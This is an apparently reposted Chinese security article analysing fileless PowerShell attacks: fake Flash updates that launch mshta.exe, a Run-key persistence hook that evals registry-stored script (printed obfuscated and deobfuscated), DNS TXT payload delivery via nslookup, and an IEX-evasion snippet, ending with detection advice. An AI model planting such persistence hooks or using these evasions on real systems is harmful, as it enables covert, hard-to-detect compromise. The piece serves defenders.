PowerShell无文件持久化技术与常用的防御绕过技术

目前为止,PowerShell仍然是网络安全专家进行防御和黑客进行攻击的首选工具。原因很简单,PowerShell具有很好的可扩展性,支持能力以及适应各种编程语言。如PowerShell Empire,PowerSploit等,都被安全研究人员以及黑客所使用。

这两天,就有安全平台检测出了有恶意软件利用PowerShell所进行的攻击,该攻击可以进行持久性攻击并绕过传统安全防护的检测。恶意软件会诱骗用户对网站上的Adobe Flash浏览器插件进行更新,然后使用一个称为mshta.exe的HTA攻击方法。 MSHTA.exe是一个合法的Microsoft二进制文件,可以在任何浏览器中被调用,用于执行.HTA文件。不过在大多数情况下,对MSHTA.exe的扩展都属于恶意扩展,所以我们建议开启防火墙里所有阻止HTA扩展的功能。

目前利用MSHTA.exe进行攻击的方法已经被列入社会工程学攻击包(SET)多年了:

如果被MSHTA.exe攻击了,就会发生上图所列的那些情况。黑客可能是利用了VBS下载器,PowerShell,一个被下载和执行的二进制文件等等来执行的MSHTA.exe攻击。

目前,在大多数情况下,这种钓鱼网络攻击都能够被检测到,如下图所示, 一旦网页启动了恶意HTA ,就能被立即检测到。

一旦发生这种情况,PowerShell命令就会被执行,因为这个HTA会触发了多个危险提示。通常,恶意HTA会触发SYSWOW64降级攻击,将进程降级为32位进程,从而给目标设备注入shellcode。

在我们对攻击日志进行分析时,我们发现Invoke-Expression(IEX)是一种常用的攻击技术,利用这种技术可以提取特定的注册表项,并实现持久化的挂钩( hook)。PowerShell攻击是通过Invoke-Expression(IEX)调用.Net Web Client下载功能来下载浏览器上的PowerShell代码并执行。不过,提取的注册表项的名称和持久性挂钩都会在初始PowerShell调用中经过混淆处理。

在这个由Invoke-Expression引起的攻击中,攻击者会在CurrentVersion Run下的用户配置文件下创建了一个注册表项,以作为持久性挂钩的起始位置。

通过研究持久性挂钩的日志,我们发现混淆后的持久性注册表挂钩如下:

  1. HKEY_USERS:SANITIZED\Software\Microsoft\Windows\CurrentVersion\Run 
  2. "C:\Windows\system32\mshta.exe" "about:<script>c1hop="X642N10";R3I=new%20ActiveXObject("WScript.Shell");QR3iroUf="I7pL7";k9To7P=R3I.RegRead("HKCU\\software\\bkzlq\\zsdnhepyzs");J7UuF1n="Q2LnLxas";eval(k9To7P);JUe5wz3O="zSfmLod";</script>

反混淆后的持久化注册表挂钩如下:

  1. <script> 
  2. WScript_Shell_Object = new ActiveXObject("WScript.Shell"); 
  3. Registry_Key_Value=WScript_Shell_Object.RegRead("HKCUsoftwarebkzlqzsdnhepyzs"); 
  4. eval(Registry_Key_Value); 
  5. </script> 

 

这一系列过程,就是我们本文所说的无文件攻击技术,也称为有效载荷传递攻击技术,因为该攻击技术不是直接将特定的有效载荷写入文件的,而是通过运行注册表项来在目标设备中实现持久化注入。

在文件攻击技术中,mshta.exe会使用WScript.shell来调用嵌入了PowerShell命令的注册表项。目前,这种无文件攻击至今还无法被检测到。不过,“无文件”并不是真的没有文件的意思,而是指的有效载荷,关于什么是无文件恶意软件,请点击这里进行详细了解。

使用目标设备的PowerShell和mshta,攻击者可以使用传统的攻击技术来对目标设备进行恶意文件的下载及后门的安装。通常黑客会使用Invoke-Expression(IEX)来进行绕过并使用PowerShell的“EncodedCommand”参数以躲避安全软件的检测。

最近,安全研究员Vincent Yiu就展示了一种通过PowerShell来绕过传统检测的方法,该方法没有调用任何IEX和EncodedCommand。目前这种方法已开始被广泛使用了,比如下图这个例子,就是利用了“.”来调用calc.exe的。在这个例子中,由于没有调用其他代码,所以无需使用该代码来分配变量。

那么,在这种情况下,网站的TXT将记录下载PowerShell的命令,并通过nslookup在系统上执行该命令。这意味着我们可以把命令代码注入到DNS中的TXT记录中,并启动PowerShell命令。

开头我们所提到的那家安全平台就可以就可以通过这种PowerShell的运行,来检测出恶意运行。

如果检测到nslookup以及通过nslookup提取代码的行为,则该平台就能立马检测到这种恶意行为,因为PowerShell内部使用的nslookup以及在txt记录中的代码都是恶意的。另外,上面例子中的“.”只能执行文件,而不是执行代码本身。因此,我们还需要另一个命令,来执行从nslookup txt记录中提取的代码。

安全研究专家Daniel Bohannon给出了一种实现办法,不过仍然需要用到IEX:

  1. $nslookupResult1 = 'iex' 
  2. $nslookupResult2 = 'Write-Host THIS IS MY ACTUAL PAYLOAD -f green' 
  3. . $nslookupResult1 $nslookupResult2 
  4. or even better: 
  5. $nslookupAllInOne = @('iex','Write-Host ALL IN ONE -f green') 
  6. . $nslookupAllInOne[0] $nslookupAllInOne[1] 

以下是在该平台所识别出的一种特定攻击模式:

预防措施

对于那些还没有使用该平台进行防护的组织来说,我们可以推荐一些方法来检测PowerShell的这种无文件持久化行为,其实这种恶意行为并不仅限于某种特定的模式,例如IEX。下面我们就为你列出一些预防措施,让你做到心中有数:

  • 注意PowerShell命令的字符长度必要过大;
  • 注意将PowerShell置于约束语言模式下的行为;
  • 启用增强的PowerShell日志记录,例如脚本块日志记录;
  • 经常对设备进行安全检测;
  • 注意minesweeper.exe的出现;
  • 监控诸如IEX,EncodedCommand等的使用;
  • 利用Sysmon等工具提高记录功能,并检测可能由可疑进程(PowerShell)引发的流程注入,
  • 审查DNS日志并寻找可疑的控制命令和DNS请求;
  • 查找不是源自powershell.exe和powershell_ise.exe的System.Management.Automation.dll和System.Management.Automation.ni.dll;
  • 在正常情况下禁止普通用户执行PowerShell命令(AppLocker +Device Guard可以防止普通用户使用PowerShell)。

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/130162.html<

(0)
运维的头像运维
上一篇2025-02-25 23:04
下一篇 2025-02-25 23:06

相关推荐

  • 个人主题怎么制作?

    制作个人主题是一个将个人风格、兴趣或专业领域转化为视觉化或结构化内容的过程,无论是用于个人博客、作品集、社交媒体账号还是品牌形象,核心都是围绕“个人特色”展开,以下从定位、内容规划、视觉设计、技术实现四个维度,详细拆解制作个人主题的完整流程,明确主题定位:找到个人特色的核心主题定位是所有工作的起点,需要先回答……

    2025-11-20
    0
  • 社群营销管理关键是什么?

    社群营销的核心在于通过建立有温度、有价值、有归属感的社群,实现用户留存、转化和品牌传播,其管理需贯穿“目标定位-内容运营-用户互动-数据驱动-风险控制”全流程,以下从五个维度展开详细说明:明确社群定位与目标社群管理的首要任务是精准定位,需明确社群的核心价值(如行业交流、产品使用指导、兴趣分享等)、目标用户画像……

    2025-11-20
    0
  • 香港公司网站备案需要什么材料?

    香港公司进行网站备案是一个涉及多部门协调、流程相对严谨的过程,尤其需兼顾中国内地与香港两地的监管要求,由于香港公司注册地与中国内地不同,其网站若主要服务内地用户或使用内地服务器,需根据服务器位置、网站内容性质等,选择对应的备案路径(如工信部ICP备案或公安备案),以下从备案主体资格、流程步骤、材料准备、注意事项……

    2025-11-20
    0
  • 如何企业上云推广

    企业上云已成为数字化转型的核心战略,但推广过程中需结合行业特性、企业痛点与市场需求,构建系统性、多维度的推广体系,以下从市场定位、策略设计、执行落地及效果优化四个维度,详细拆解企业上云推广的实践路径,精准定位:明确目标企业与核心价值企业上云并非“一刀切”的方案,需先锁定目标客户群体,提炼差异化价值主张,客户分层……

    2025-11-20
    0
  • PS设计搜索框的实用技巧有哪些?

    在PS中设计一个美观且功能性的搜索框需要结合创意构思、视觉设计和用户体验考量,以下从设计思路、制作步骤、细节优化及交互预览等方面详细说明,帮助打造符合需求的搜索框,设计前的规划明确使用场景:根据网站或APP的整体风格确定搜索框的调性,例如极简风适合细线条和纯色,科技感适合渐变和发光效果,电商类则可能需要突出搜索……

    2025-11-20
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注